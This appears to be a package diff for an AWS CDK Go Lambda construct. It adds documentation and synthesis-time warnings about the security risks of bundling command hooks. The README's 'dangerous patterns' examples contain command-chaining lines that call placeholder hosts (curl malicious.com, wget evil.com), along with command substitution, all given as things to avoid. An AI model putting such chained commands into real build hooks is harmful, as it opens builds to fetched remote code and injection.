 
-```text
-// This example only available in TypeScript
+```ts
 // Run additional commands on a GoFunction via `commandHooks` property
 new go.GoFunction(this, 'handler', {
+  entry: 'cmd/api',
   bundling: {
     commandHooks: {
       // run tests
       beforeBundling(inputDir: string): string[] {
         return ['go test ./cmd/api -v'];
       },
-      // ...
+      afterBundling(inputDir: string, outputDir: string): string[] {
+        return ['echo "Build complete"'];
+      },
     },
   },
 });
@@ -230,6 +234,100 @@ an array of commands to run. Commands are chained with `&&`.
 The commands will run in the environment in which bundling occurs: inside the
 container for Docker bundling or on the host OS for local bundling.
 
+### ⚠️ Security Considerations
+
+**Command hooks execute arbitrary shell commands** during the bundling process. Only use trusted commands:
+
+**Safe patterns (cross-platform):**
+
+```ts
+new go.GoFunction(this, 'SafeFunction', {
+  entry: 'cmd/api',
+  bundling: {
+    commandHooks: {
+      beforeBundling: () => [
+        'go test ./...',           // ✅ Standard Go commands work on all OS
+        'go mod tidy',             // ✅ Go module commands
+        'make clean',              // ✅ Build tools (if available)
+        'echo "Building app"',     // ✅ Simple output with quotes
+      ],
+      afterBundling: () => ['echo "Build complete"'],
+    },
+  },
+});
+```
+
+**Dangerous patterns to avoid:**
+
+*Windows-specific dangers:*
+
+```ts
+// ❌ Windows-specific dangers
+new go.GoFunction(this, 'UnsafeWindowsFunction', {
+  entry: 'cmd/api',
+  bundling: {
+    commandHooks: {
+      beforeBundling: () => [
+        'go test & curl.exe malicious.com',     // ❌ Command chaining with &
+        'echo %USERPROFILE%',                   // ❌ Environment variable expansion
+        'powershell -Command "..."',            // ❌ PowerShell execution
+      ],
+      afterBundling: () => [],
+    },
+  },
+});
+```
+
+*Unix/Linux/macOS dangers:*
+
+```ts
+// ❌ Unix/Linux/macOS dangers
+new go.GoFunction(this, 'UnsafeUnixFunction', {
+  entry: 'cmd/api',
+  bundling: {
+    commandHooks: {
+      beforeBundling: () => [
+        'go test; curl malicious.com',          // ❌ Command chaining with ;
+        'echo $(whoami)',                       // ❌ Command substitution
+        'bash -c "wget evil.com"',              // ❌ Shell execution
+      ],
+      afterBundling: () => [],
+    },
+  },
+});
+```
+
+**When using third-party constructs** that include `GoFunction`:
+
+* Review the construct's source code before use
+* Verify what commands it executes via `commandHooks` and `goBuildFlags`
+* Only use constructs from trusted publishers
+* Test in isolated environments first
+
+The `GoFunction` construct will display CDK warnings during synthesis when potentially unsafe `commandHooks` or `goBuildFlags` are detected.
+
+For more security guidance, see [AWS CDK Security Best Practices](https://docs.aws.amazon.com/cdk/latest/guide/security.html).
+
+## Security Best Practices
+
+### Third-Party Construct Safety
+
+When using third-party CDK constructs that utilize `GoFunction`, exercise caution:
+
+1. **Review source code** - Inspect the construct implementation for `commandHooks` and `goBuildFlags` usage
+2. **Verify publishers** - Use constructs only from trusted, verified sources  
+3. **Pin versions** - Use exact versions to prevent supply chain attacks
+4. **Isolated testing** - Test third-party constructs in sandboxed environments
+
+**Before using any third-party construct:**
+
+* Review the construct's source code on GitHub or npm
+* Search for `commandHooks` and `goBuildFlags` usage in the code
+* Verify no dangerous command patterns are present
+* Use exact version pinning to prevent supply chain attacks
+
+The `GoFunction` construct will display CDK warnings during synthesis when potentially unsafe `commandHooks` or `goBuildFlags` are detected.
+
 ## Additional considerations
 
 Depending on how you structure your Golang application, you may want to change the `assetHashType` parameter.

package/lib/function.js

@@ -40,6 +40,7 @@ const JSII_RTTI_SYMBOL_1 = Symbol.for("jsii.rtti");
 const fs = require("fs");
 const path = require("path");
 const lambda = require("aws-cdk-lib/aws-lambda");
+const cdk = require("aws-cdk-lib/core");
 const bundling_1 = require("./bundling");
 const util_1 = require("./util");
 const metadata_resource_1 = require("aws-cdk-lib/core/lib/metadata-resource");
@@ -61,7 +62,7 @@ let GoFunction = (() => {
             GoFunction = _classThis = _classDescriptor.value;
             if (_metadata) Object.defineProperty(_classThis, Symbol.metadata, { enumerable: true, configurable: true, writable: true, value: _metadata });
         }
-        static [JSII_RTTI_SYMBOL_1] = { fqn: "@aws-cdk/aws-lambda-go-alpha.GoFunction", version: "2.221.1-alpha.0" };
+        static [JSII_RTTI_SYMBOL_1] = { fqn: "@aws-cdk/aws-lambda-go-alpha.GoFunction", version: "2.223.0-alpha.0" };
         /** Uniquely identifies this class. */
         static PROPERTY_INJECTION_ID = '@aws-cdk.aws-lambda-go-alpha.GoFunction';
         /**
@@ -108,6 +109,13 @@ let GoFunction = (() => {
             }
             const runtime = props.runtime ?? lambda.Runtime.PROVIDED_AL2;
             const architecture = props.architecture ?? lambda.Architecture.X86_64;
+            // Security warnings for potentially unsafe bundling options
+            if (props.bundling?.goBuildFlags?.length) {
+                cdk.Annotations.of(scope).addWarningV2('@aws-cdk/aws-lambda-go-alpha:goBuildFlagsSecurityWarning', 'goBuildFlags can execute arbitrary commands during bundling. Ensure all flags come from trusted sources. See: https://docs.aws.amazon.com/cdk/latest/guide/security.html');
+            }
+            if (props.bundling?.commandHooks?.beforeBundling || props.bundling?.commandHooks?.afterBundling) {
+                cdk.Annotations.of(scope).addWarningV2('@aws-cdk/aws-lambda-go-alpha:commandHooksSecurityWarning', 'commandHooks can execute arbitrary commands during bundling. Ensure all commands come from trusted sources. See: https://docs.aws.amazon.com/cdk/latest/guide/security.html');
+            }
             super(scope, id, {
                 ...props,
                 runtime,
@@ -130,4 +138,4 @@ let GoFunction = (() => {
     return GoFunction = _classThis;
 })();
 exports.GoFunction = GoFunction;
-//# sourceMappingURL=data:application/json;base64,eyJ2ZXJzaW9uIjozLCJmaWxlIjoiZnVuY3Rpb24uanMiLCJzb3VyY2VSb290IjoiIiwic291cmNlcyI6WyJmdW5jdGlvbi50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiOzs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7QUFBQSx5QkFBeUI7QUFDekIsNkJBQTZCO0FBQzdCLGlEQUFpRDtBQUVqRCx5Q0FBc0M7QUFFdEMsaUNBQWdDO0FBQ2hDLDhFQUE4RTtBQUM5RSwwRUFBMEU7QUErRDFFOztHQUVHO0lBRVUsVUFBVTs0QkFEdEIsb0NBQWtCOzs7O3NCQUNhLE1BQU0sQ0FBQyxRQUFROzBCQUF2QixTQUFRLFdBQWU7Ozs7WUFBL0MsNktBd0RDOzs7OztRQXZEQyxzQ0FBc0M7UUFDL0IsTUFBTSxDQUFVLHFCQUFxQixHQUFXLHlDQUF5QyxDQUFDO1FBQ2pHOztXQUVHO1FBQ0ksTUFBTSxDQUFVLGNBQWMsR0FBRywwQkFBMEIsQ0FBQztRQUVuRSxZQUFZLEtBQWdCLEVBQUUsRUFBVSxFQUFFLEtBQXNCOzs7Ozs7bURBUnJELFVBQVU7Ozs7WUFTbkIsSUFBSSxLQUFLLENBQUMsT0FBTyxJQUFJLENBQUMsS0FBSyxDQUFDLE9BQU8sQ0FBQyxNQUFNLEtBQUssTUFBTSxDQUFDLGFBQWEsQ0FBQyxFQUFFLElBQUksS0FBSyxDQUFDLE9BQU8sQ0FBQyxNQUFNLElBQUksTUFBTSxDQUFDLGFBQWEsQ0FBQyxLQUFLLENBQUMsRUFBRSxDQUFDO2dCQUM5SCxNQUFNLElBQUksS0FBSyxDQUFDLGtEQUFrRCxDQUFDLENBQUM7WUFDdEUsQ0FBQztZQUVELE1BQU0sS0FBSyxHQUFHLElBQUksQ0FBQyxPQUFPLENBQUMsS0FBSyxDQUFDLEtBQUssQ0FBQyxDQUFDO1lBRXhDLHdCQUF3QjtZQUN4QixJQUFJLFNBQWlCLENBQUM7WUFDdEIsSUFBSSxLQUFLLENBQUMsU0FBUyxFQUFFLENBQUM7Z0JBQ3BCLE1BQU0sZUFBZSxHQUFHLElBQUksQ0FBQyxLQUFLLENBQUMsS0FBSyxDQUFDLFNBQVMsQ0FBQyxDQUFDO2dCQUNwRCxJQUFJLGVBQWUsQ0FBQyxJQUFJLElBQUksZUFBZSxDQUFDLEdBQUcsSUFBSSxlQUFlLENBQUMsSUFBSSxLQUFLLFFBQVEsRUFBRSxDQUFDO29CQUNyRixJQUFJLENBQUMsRUFBRSxDQUFDLFVBQVUsQ0FBQyxLQUFLLENBQUMsU0FBUyxDQUFDLEVBQUUsQ0FBQzt3QkFDcEMsTUFBTSxJQUFJLEtBQUssQ0FBQyxrQkFBa0IsS0FBSyxDQUFDLFNBQVMsZ0JBQWdCLENBQUMsQ0FBQztvQkFDckUsQ0FBQztnQkFDSCxDQUFDO3FCQUFNLElBQUksZUFBZSxDQUFDLElBQUksSUFBSSxlQUFlLENBQUMsR0FBRyxJQUFJLGVBQWUsQ0FBQyxJQUFJLElBQUksUUFBUSxFQUFFLENBQUM7b0JBQzNGLE1BQU0sSUFBSSxLQUFLLENBQUMsbURBQW1ELENBQUMsQ0FBQztnQkFDdkUsQ0FBQztxQkFBTSxJQUFJLENBQUMsRUFBRSxDQUFDLFVBQVUsQ0FBQyxJQUFJLENBQUMsSUFBSSxDQUFDLEtBQUssQ0FBQyxTQUFTLEVBQUUsUUFBUSxDQUFDLENBQUMsRUFBRSxDQUFDO29CQUNoRSxNQUFNLElBQUksS0FBSyxDQUFDLGtCQUFrQixLQUFLLENBQUMsU0FBUyxnQkFBZ0IsQ0FBQyxDQUFDO2dCQUNyRSxDQUFDO2dCQUNELFNBQVMsR0FBRyxLQUFLLENBQUMsU0FBUyxDQUFDO1lBQzlCLENBQUM7aUJBQU0sQ0FBQztnQkFDTixNQUFNLE9BQU8sR0FBRyxJQUFBLGFBQU0sRUFBQyxRQUFRLEVBQUUsS0FBSyxDQUFDLENBQUM7Z0JBQ3hDLElBQUksQ0FBQyxPQUFPLEVBQUUsQ0FBQztvQkFDYixNQUFNLElBQUksS0FBSyxDQUFFLHlEQUF5RCxDQUFDLENBQUM7Z0JBQzlFLENBQUM7Z0JBQ0QsU0FBUyxHQUFHLE9BQU8sQ0FBQztZQUN0QixDQUFDO1lBRUQsTUFBTSxPQUFPLEdBQUcsS0FBSyxDQUFDLE9BQU8sSUFBSSxNQUFNLENBQUMsT0FBTyxDQUFDLFlBQVksQ0FBQztZQUM3RCxNQUFNLFlBQVksR0FBRyxLQUFLLENBQUMsWUFBWSxJQUFJLE1BQU0sQ0FBQyxZQUFZLENBQUMsTUFBTSxDQUFDO1lBRXRFLEtBQUssQ0FBQyxLQUFLLEVBQUUsRUFBRSxFQUFFO2dCQUNmLEdBQUcsS0FBSztnQkFDUixPQUFPO2dCQUNQLElBQUksRUFBRSxtQkFBUSxDQUFDLE1BQU0sQ0FBQztvQkFDcEIsR0FBRyxLQUFLLENBQUMsUUFBUSxJQUFJLEVBQUU7b0JBQ3ZCLEtBQUs7b0JBQ0wsT0FBTztvQkFDUCxZQUFZO29CQUNaLFNBQVM7aUJBQ1YsQ0FBQztnQkFDRixPQUFPLEVBQUUsV0FBVyxFQUFFLDRFQUE0RTthQUNuRyxDQUFDLENBQUM7WUFFSCxtQ0FBbUM7WUFDbkMsSUFBQSx3Q0FBb0IsRUFBQyxJQUFJLEVBQUUsS0FBSyxDQUFDLENBQUM7U0FDbkM7O1lBdkRVLHVEQUFVOzs7OztBQUFWLGdDQUFVIiwic291cmNlc0NvbnRlbnQiOlsiaW1wb3J0ICogYXMgZnMgZnJvbSAnZnMnO1xuaW1wb3J0ICogYXMgcGF0aCBmcm9tICdwYXRoJztcbmltcG9ydCAqIGFzIGxhbWJkYSBmcm9tICdhd3MtY2RrLWxpYi9hd3MtbGFtYmRhJztcbmltcG9ydCB7IENvbnN0cnVjdCB9IGZyb20gJ2NvbnN0cnVjdHMnO1xuaW1wb3J0IHsgQnVuZGxpbmcgfSBmcm9tICcuL2J1bmRsaW5nJztcbmltcG9ydCB7IEJ1bmRsaW5nT3B0aW9ucyB9IGZyb20gJy4vdHlwZXMnO1xuaW1wb3J0IHsgZmluZFVwIH0gZnJvbSAnLi91dGlsJztcbmltcG9ydCB7IGFkZENvbnN0cnVjdE1ldGFkYXRhIH0gZnJvbSAnYXdzLWNkay1saWIvY29yZS9saWIvbWV0YWRhdGEtcmVzb3VyY2UnO1xuaW1wb3J0IHsgcHJvcGVydHlJbmplY3RhYmxlIH0gZnJvbSAnYXdzLWNkay1saWIvY29yZS9saWIvcHJvcC1pbmplY3RhYmxlJztcblxuLyoqXG4gKiBQcm9wZXJ0aWVzIGZvciBhIEdvbGFuZ0Z1bmN0aW9uXG4gKi9cbmV4cG9ydCBpbnRlcmZhY2UgR29GdW5jdGlvblByb3BzIGV4dGVuZHMgbGFtYmRhLkZ1bmN0aW9uT3B0aW9ucyB7XG4gIC8qKlxuICAgKiBUaGUgcGF0aCB0byB0aGUgZm9sZGVyIG9yIGZpbGUgdGhhdCBjb250YWlucyB0aGUgbWFpbiBhcHBsaWNhdGlvbiBlbnRyeSBwb2ludCBmaWxlcyBmb3IgdGhlIHByb2plY3QuXG4gICAqXG4gICAqIFRoaXMgYWNjZXB0cyBlaXRoZXIgYSBwYXRoIHRvIGEgZGlyZWN0b3J5IG9yIGZpbGUuXG4gICAqXG4gICAqIElmIGEgZGlyZWN0b3J5IHBhdGggaXMgcHJvdmlkZWQgdGhlbiBpdCB3aWxsIGFzc3VtZSB0aGVyZSBpcyBhIEdvIGVudHJ5IGZpbGUgKGkuZS4gYG1haW4uZ29gKSBhbmRcbiAgICogd2lsbCBjb25zdHJ1Y3QgdGhlIGJ1aWxkIGNvbW1hbmQgdXNpbmcgdGhlIGRpcmVjdG9yeSBwYXRoLlxuICAgKlxuICAgKiBGb3IgZXhhbXBsZSwgaWYgeW91IHByb3ZpZGUgdGhlIGVudHJ5IGFzOlxuICAgKlxuICAgKiAgICAgZW50cnk6ICdteS1sYW1iZGEtYXBwL2NtZC9hcGknXG4gICAqXG4gICAqIFRoZW4gdGhlIGBnbyBidWlsZGAgY29tbWFuZCB3b3VsZCBiZTpcbiAgICpcbiAgICogICAgIGBnbyBidWlsZCAuL2NtZC9hcGlgXG4gICAqXG4gICAqIElmIGEgcGF0aCB0byBhIGZpbGUgaXMgcHJvdmlkZWQgdGhlbiBpdCB3aWxsIHVzZSB0aGUgZmlsZXBhdGggaW4gdGhlIGJ1aWxkIGNvbW1hbmQuXG4gICAqXG4gICAqIEZvciBleGFtcGxlLCBpZiB5b3UgcHJvdmlkZSB0aGUgZW50cnkgYXM6XG4gICAqXG4gICAqICAgICBlbnRyeTogJ215LWxhbWJkYS1hcHAvY21kL2FwaS9tYWluLmdvJ1xuICAgKlxuICAgKiBUaGVuIHRoZSBgZ28gYnVpbGRgIGNvbW1hbmQgd291bGQgYmU6XG4gICAqXG4gICAqICAgICBgZ28gYnVpbGQgLi9jbWQvYXBpL21haW4uZ29gXG4gICAqL1xuICByZWFkb25seSBlbnRyeTogc3RyaW5nO1xuXG4gIC8qKlxuICAgKiBUaGUgcnVudGltZSBlbnZpcm9ubWVudC4gT25seSBydW50aW1lcyBvZiB0aGUgR29sYW5nIGZhbWlseSBhbmQgcHJvdmlkZWQgZmFtaWx5IGFyZSBzdXBwb3J0ZWQuXG4gICAqXG4gICAqIEBkZWZhdWx0IGxhbWJkYS5SdW50aW1lLlBST1ZJREVEX0FMMlxuICAgKi9cbiAgcmVhZG9ubHkgcnVudGltZT86IGxhbWJkYS5SdW50aW1lO1xuXG4gIC8qKlxuICAgKiBEaXJlY3RvcnkgY29udGFpbmluZyB5b3VyIGdvLm1vZCBmaWxlXG4gICAqXG4gICAqIFRoaXMgd2lsbCBhY2NlcHQgZWl0aGVyIGEgZGlyZWN0b3J5IHBhdGggY29udGFpbmluZyBhIGBnby5tb2RgIGZpbGVcbiAgICogb3IgYSBmaWxlcGF0aCB0byB5b3VyIGBnby5tb2RgIGZpbGUgKGkuZS4gYHBhdGgvdG8vZ28ubW9kYCkuXG4gICAqXG4gICAqIFRoaXMgd2lsbCBiZSB1c2VkIGFzIHRoZSBzb3VyY2Ugb2YgdGhlIHZvbHVtZSBtb3VudGVkIGluIHRoZSBEb2NrZXJcbiAgICogY29udGFpbmVyIGFuZCB3aWxsIGJlIHRoZSBkaXJlY3Rvcnkgd2hlcmUgaXQgd2lsbCBydW4gYGdvIGJ1aWxkYCBmcm9tLlxuICAgKlxuICAgKiBAZGVmYXVsdCAtIHRoZSBwYXRoIGlzIGZvdW5kIGJ5IHdhbGtpbmcgdXAgcGFyZW50IGRpcmVjdG9yaWVzIHNlYXJjaGluZyBmb3JcbiAgICogIGEgYGdvLm1vZGAgZmlsZSBmcm9tIHRoZSBsb2NhdGlvbiBvZiBgZW50cnlgXG4gICAqL1xuICByZWFkb25seSBtb2R1bGVEaXI/OiBzdHJpbmc7XG5cbiAgLyoqXG4gICAqIEJ1bmRsaW5nIG9wdGlvbnNcbiAgICpcbiAgICogQGRlZmF1bHQgLSB1c2UgZGVmYXVsdCBidW5kbGluZyBvcHRpb25zXG4gICAqL1xuICByZWFkb25seSBidW5kbGluZz86IEJ1bmRsaW5nT3B0aW9ucztcbn1cblxuLyoqXG4gKiBBIEdvbGFuZyBMYW1iZGEgZnVuY3Rpb25cbiAqL1xuQHByb3BlcnR5SW5qZWN0YWJsZVxuZXhwb3J0IGNsYXNzIEdvRnVuY3Rpb24gZXh0ZW5kcyBsYW1iZGEuRnVuY3Rpb24ge1xuICAvKiogVW5pcXVlbHkgaWRlbnRpZmllcyB0aGlzIGNsYXNzLiAqL1xuICBwdWJsaWMgc3RhdGljIHJlYWRvbmx5IFBST1BFUlRZX0lOSkVDVElPTl9JRDogc3RyaW5nID0gJ0Bhd3MtY2RrLmF3cy1sYW1iZGEtZ28tYWxwaGEuR29GdW5jdGlvbic7XG4gIC8qKlxuICAgKiBUaGUgYWRkcmVzcyBvZiB0aGUgR29vZ2xlIEdvIHByb3h5XG4gICAqL1xuICBwdWJsaWMgc3RhdGljIHJlYWRvbmx5IEdPT0dMRV9HT1BST1hZID0gJ2h0dHBzOi8vcHJveHkuZ29sYW5nLm9yZyc7XG5cbiAgY29uc3RydWN0b3Ioc2NvcGU6IENvbnN0cnVjdCwgaWQ6IHN0cmluZywgcHJvcHM6IEdvRnVuY3Rpb25Qcm9wcykge1xuICAgIGlmIChwcm9wcy5ydW50aW1lICYmIChwcm9wcy5ydW50aW1lLmZhbWlseSAhPT0gbGFtYmRhLlJ1bnRpbWVGYW1pbHkuR08gJiYgcHJvcHMucnVudGltZS5mYW1pbHkgIT0gbGFtYmRhLlJ1bnRpbWVGYW1pbHkuT1RIRVIpKSB7XG4gICAgICB0aHJvdyBuZXcgRXJyb3IoJ09ubHkgYGdvYCBhbmQgYHByb3ZpZGVkYCBydW50aW1lcyBhcmUgc3VwcG9ydGVkLicpO1xuICAgIH1cblxuICAgIGNvbnN0IGVudHJ5ID0gcGF0aC5yZXNvbHZlKHByb3BzLmVudHJ5KTtcblxuICAgIC8vIEZpbmQgdGhlIHByb2plY3Qgcm9vdFxuICAgIGxldCBtb2R1bGVEaXI6IHN0cmluZztcbiAgICBpZiAocHJvcHMubW9kdWxlRGlyKSB7XG4gICAgICBjb25zdCBwYXJzZWRNb2R1bGVEaXIgPSBwYXRoLnBhcnNlKHByb3BzLm1vZHVsZURpcik7XG4gICAgICBpZiAocGFyc2VkTW9kdWxlRGlyLmJhc2UgJiYgcGFyc2VkTW9kdWxlRGlyLmV4dCAmJiBwYXJzZWRNb2R1bGVEaXIuYmFzZSA9PT0gJ2dvLm1vZCcpIHtcbiAgICAgICAgaWYgKCFmcy5leGlzdHNTeW5jKHByb3BzLm1vZHVsZURpcikpIHtcbiAgICAgICAgICB0aHJvdyBuZXcgRXJyb3IoYGdvLm1vZCBmaWxlIGF0ICR7cHJvcHMubW9kdWxlRGlyfSBkb2Vzbid0IGV4aXN0YCk7XG4gICAgICAgIH1cbiAgICAgIH0gZWxzZSBpZiAocGFyc2VkTW9kdWxlRGlyLmJhc2UgJiYgcGFyc2VkTW9kdWxlRGlyLmV4dCAmJiBwYXJzZWRNb2R1bGVEaXIuYmFzZSAhPSAnZ28ubW9kJykge1xuICAgICAgICB0aHJvdyBuZXcgRXJyb3IoJ21vZHVsZURpciBpcyBzcGVjaWZ5aW5nIGEgZmlsZSB0aGF0IGlzIG5vdCBnby5tb2QnKTtcbiAgICAgIH0gZWxzZSBpZiAoIWZzLmV4aXN0c1N5bmMocGF0aC5qb2luKHByb3BzLm1vZHVsZURpciwgJ2dvLm1vZCcpKSkge1xuICAgICAgICB0aHJvdyBuZXcgRXJyb3IoYGdvLm1vZCBmaWxlIGF0ICR7cHJvcHMubW9kdWxlRGlyfSBkb2Vzbid0IGV4aXN0YCk7XG4gICAgICB9XG4gICAgICBtb2R1bGVEaXIgPSBwcm9wcy5tb2R1bGVEaXI7XG4gICAgfSBlbHNlIHtcbiAgICAgIGNvbnN0IG1vZEZpbGUgPSBmaW5kVXAoJ2dvLm1vZCcsIGVudHJ5KTtcbiAgICAgIGlmICghbW9kRmlsZSkge1xuICAgICAgICB0aHJvdyBuZXcgRXJyb3IgKCdDYW5ub3QgZmluZCBnby5tb2QuIFBsZWFzZSBzcGVjaWZ5IGl0IHdpdGggYG1vZHVsZURpcmAuJyk7XG4gICAgICB9XG4gICAgICBtb2R1bGVEaXIgPSBtb2RGaWxlO1xuICAgIH1cblxuICAgIGNvbnN0IHJ1bnRpbWUgPSBwcm9wcy5ydW50aW1lID8/IGxhbWJkYS5SdW50aW1lLlBST1ZJREVEX0FMMjtcbiAgICBjb25zdCBhcmNoaXRlY3R1cmUgPSBwcm9wcy5hcmNoaXRlY3R1cmUgPz8gbGFtYmRhLkFyY2hpdGVjdHVyZS5YODZfNjQ7XG5cbiAgICBzdXBlcihzY29wZSwgaWQsIHtcbiAgICAgIC4uLnByb3BzLFxuICAgICAgcnVudGltZSxcbiAgICAgIGNvZGU6IEJ1bmRsaW5nLmJ1bmRsZSh7XG4gICAgICAgIC4uLnByb3BzLmJ1bmRsaW5nID8/IHt9LFxuICAgICAgICBlbnRyeSxcbiAgICAgICAgcnVudGltZSxcbiAgICAgICAgYXJjaGl0ZWN0dXJlLFxuICAgICAgICBtb2R1bGVEaXIsXG4gICAgICB9KSxcbiAgICAgIGhhbmRsZXI6ICdib290c3RyYXAnLCAvLyBzZXR0aW5nIG5hbWUgdG8gYm9vdHN0cmFwIHNvIHRoYXQgdGhlICdwcm92aWRlZCcgcnVudGltZSBjYW4gYWxzbyBiZSB1c2VkXG4gICAgfSk7XG5cbiAgICAvLyBFbmhhbmNlZCBDREsgQW5hbHl0aWNzIFRlbGVtZXRyeVxuICAgIGFkZENvbnN0cnVjdE1ldGFkYXRhKHRoaXMsIHByb3BzKTtcbiAgfVxufVxuXG4iXX0=
+//# sourceMappingURL=data:application/json;base64,eyJ2ZXJzaW9uIjozLCJmaWxlIjoiZnVuY3Rpb24uanMiLCJzb3VyY2VSb290IjoiIiwic291cmNlcyI6WyJmdW5jdGlvbi50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiOzs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7QUFBQSx5QkFBeUI7QUFDekIsNkJBQTZCO0FBQzdCLGlEQUFpRDtBQUNqRCx3Q0FBd0M7QUFFeEMseUNBQXNDO0FBRXRDLGlDQUFnQztBQUNoQyw4RUFBOEU7QUFDOUUsMEVBQTBFO0FBK0QxRTs7R0FFRztJQUVVLFVBQVU7NEJBRHRCLG9DQUFrQjs7OztzQkFDYSxNQUFNLENBQUMsUUFBUTswQkFBdkIsU0FBUSxXQUFlOzs7O1lBQS9DLDZLQXVFQzs7Ozs7UUF0RUMsc0NBQXNDO1FBQy9CLE1BQU0sQ0FBVSxxQkFBcUIsR0FBVyx5Q0FBeUMsQ0FBQztRQUNqRzs7V0FFRztRQUNJLE1BQU0sQ0FBVSxjQUFjLEdBQUcsMEJBQTBCLENBQUM7UUFFbkUsWUFBWSxLQUFnQixFQUFFLEVBQVUsRUFBRSxLQUFzQjs7Ozs7O21EQVJyRCxVQUFVOzs7O1lBU25CLElBQUksS0FBSyxDQUFDLE9BQU8sSUFBSSxDQUFDLEtBQUssQ0FBQyxPQUFPLENBQUMsTUFBTSxLQUFLLE1BQU0sQ0FBQyxhQUFhLENBQUMsRUFBRSxJQUFJLEtBQUssQ0FBQyxPQUFPLENBQUMsTUFBTSxJQUFJLE1BQU0sQ0FBQyxhQUFhLENBQUMsS0FBSyxDQUFDLEVBQUUsQ0FBQztnQkFDOUgsTUFBTSxJQUFJLEtBQUssQ0FBQyxrREFBa0QsQ0FBQyxDQUFDO1lBQ3RFLENBQUM7WUFFRCxNQUFNLEtBQUssR0FBRyxJQUFJLENBQUMsT0FBTyxDQUFDLEtBQUssQ0FBQyxLQUFLLENBQUMsQ0FBQztZQUV4Qyx3QkFBd0I7WUFDeEIsSUFBSSxTQUFpQixDQUFDO1lBQ3RCLElBQUksS0FBSyxDQUFDLFNBQVMsRUFBRSxDQUFDO2dCQUNwQixNQUFNLGVBQWUsR0FBRyxJQUFJLENBQUMsS0FBSyxDQUFDLEtBQUssQ0FBQyxTQUFTLENBQUMsQ0FBQztnQkFDcEQsSUFBSSxlQUFlLENBQUMsSUFBSSxJQUFJLGVBQWUsQ0FBQyxHQUFHLElBQUksZUFBZSxDQUFDLElBQUksS0FBSyxRQUFRLEVBQUUsQ0FBQztvQkFDckYsSUFBSSxDQUFDLEVBQUUsQ0FBQyxVQUFVLENBQUMsS0FBSyxDQUFDLFNBQVMsQ0FBQyxFQUFFLENBQUM7d0JBQ3BDLE1BQU0sSUFBSSxLQUFLLENBQUMsa0JBQWtCLEtBQUssQ0FBQyxTQUFTLGdCQUFnQixDQUFDLENBQUM7b0JBQ3JFLENBQUM7Z0JBQ0gsQ0FBQztxQkFBTSxJQUFJLGVBQWUsQ0FBQyxJQUFJLElBQUksZUFBZSxDQUFDLEdBQUcsSUFBSSxlQUFlLENBQUMsSUFBSSxJQUFJLFFBQVEsRUFBRSxDQUFDO29CQUMzRixNQUFNLElBQUksS0FBSyxDQUFDLG1EQUFtRCxDQUFDLENBQUM7Z0JBQ3ZFLENBQUM7cUJBQU0sSUFBSSxDQUFDLEVBQUUsQ0FBQyxVQUFVLENBQUMsSUFBSSxDQUFDLElBQUksQ0FBQyxLQUFLLENBQUMsU0FBUyxFQUFFLFFBQVEsQ0FBQyxDQUFDLEVBQUUsQ0FBQztvQkFDaEUsTUFBTSxJQUFJLEtBQUssQ0FBQyxrQkFBa0IsS0FBSyxDQUFDLFNBQVMsZ0JBQWdCLENBQUMsQ0FBQztnQkFDckUsQ0FBQztnQkFDRCxTQUFTLEdBQUcsS0FBSyxDQUFDLFNBQVMsQ0FBQztZQUM5QixDQUFDO2lCQUFNLENBQUM7Z0JBQ04sTUFBTSxPQUFPLEdBQUcsSUFBQSxhQUFNLEVBQUMsUUFBUSxFQUFFLEtBQUssQ0FBQyxDQUFDO2dCQUN4QyxJQUFJLENBQUMsT0FBTyxFQUFFLENBQUM7b0JBQ2IsTUFBTSxJQUFJLEtBQUssQ0FBRSx5REFBeUQsQ0FBQyxDQUFDO2dCQUM5RSxDQUFDO2dCQUNELFNBQVMsR0FBRyxPQUFPLENBQUM7WUFDdEIsQ0FBQztZQUVELE1BQU0sT0FBTyxHQUFHLEtBQUssQ0FBQyxPQUFPLElBQUksTUFBTSxDQUFDLE9BQU8sQ0FBQyxZQUFZLENBQUM7WUFDN0QsTUFBTSxZQUFZLEdBQUcsS0FBSyxDQUFDLFlBQVksSUFBSSxNQUFNLENBQUMsWUFBWSxDQUFDLE1BQU0sQ0FBQztZQUV0RSw0REFBNEQ7WUFDNUQsSUFBSSxLQUFLLENBQUMsUUFBUSxFQUFFLFlBQVksRUFBRSxNQUFNLEVBQUUsQ0FBQztnQkFDekMsR0FBRyxDQUFDLFdBQVcsQ0FBQyxFQUFFLENBQUMsS0FBSyxDQUFDLENBQUMsWUFBWSxDQUNwQywwREFBMEQsRUFDMUQsMEtBQTBLLENBQzNLLENBQUM7WUFDSixDQUFDO1lBRUQsSUFBSSxLQUFLLENBQUMsUUFBUSxFQUFFLFlBQVksRUFBRSxjQUFjLElBQUksS0FBSyxDQUFDLFFBQVEsRUFBRSxZQUFZLEVBQUUsYUFBYSxFQUFFLENBQUM7Z0JBQ2hHLEdBQUcsQ0FBQyxXQUFXLENBQUMsRUFBRSxDQUFDLEtBQUssQ0FBQyxDQUFDLFlBQVksQ0FDcEMsMERBQTBELEVBQzFELDZLQUE2SyxDQUM5SyxDQUFDO1lBQ0osQ0FBQztZQUVELEtBQUssQ0FBQyxLQUFLLEVBQUUsRUFBRSxFQUFFO2dCQUNmLEdBQUcsS0FBSztnQkFDUixPQUFPO2dCQUNQLElBQUksRUFBRSxtQkFBUSxDQUFDLE1BQU0sQ0FBQztvQkFDcEIsR0FBRyxLQUFLLENBQUMsUUFBUSxJQUFJLEVBQUU7b0JBQ3ZCLEtBQUs7b0JBQ0wsT0FBTztvQkFDUCxZQUFZO29CQUNaLFNBQVM7aUJBQ1YsQ0FBQztnQkFDRixPQUFPLEVBQUUsV0FBVyxFQUFFLDRFQUE0RTthQUNuRyxDQUFDLENBQUM7WUFFSCxtQ0FBbUM7WUFDbkMsSUFBQSx3Q0FBb0IsRUFBQyxJQUFJLEVBQUUsS0FBSyxDQUFDLENBQUM7U0FDbkM7O1lBdEVVLHVEQUFVOzs7OztBQUFWLGdDQUFVIiwic291cmNlc0NvbnRlbnQiOlsiaW1wb3J0ICogYXMgZnMgZnJvbSAnZnMnO1xuaW1wb3J0ICogYXMgcGF0aCBmcm9tICdwYXRoJztcbmltcG9ydCAqIGFzIGxhbWJkYSBmcm9tICdhd3MtY2RrLWxpYi9hd3MtbGFtYmRhJztcbmltcG9ydCAqIGFzIGNkayBmcm9tICdhd3M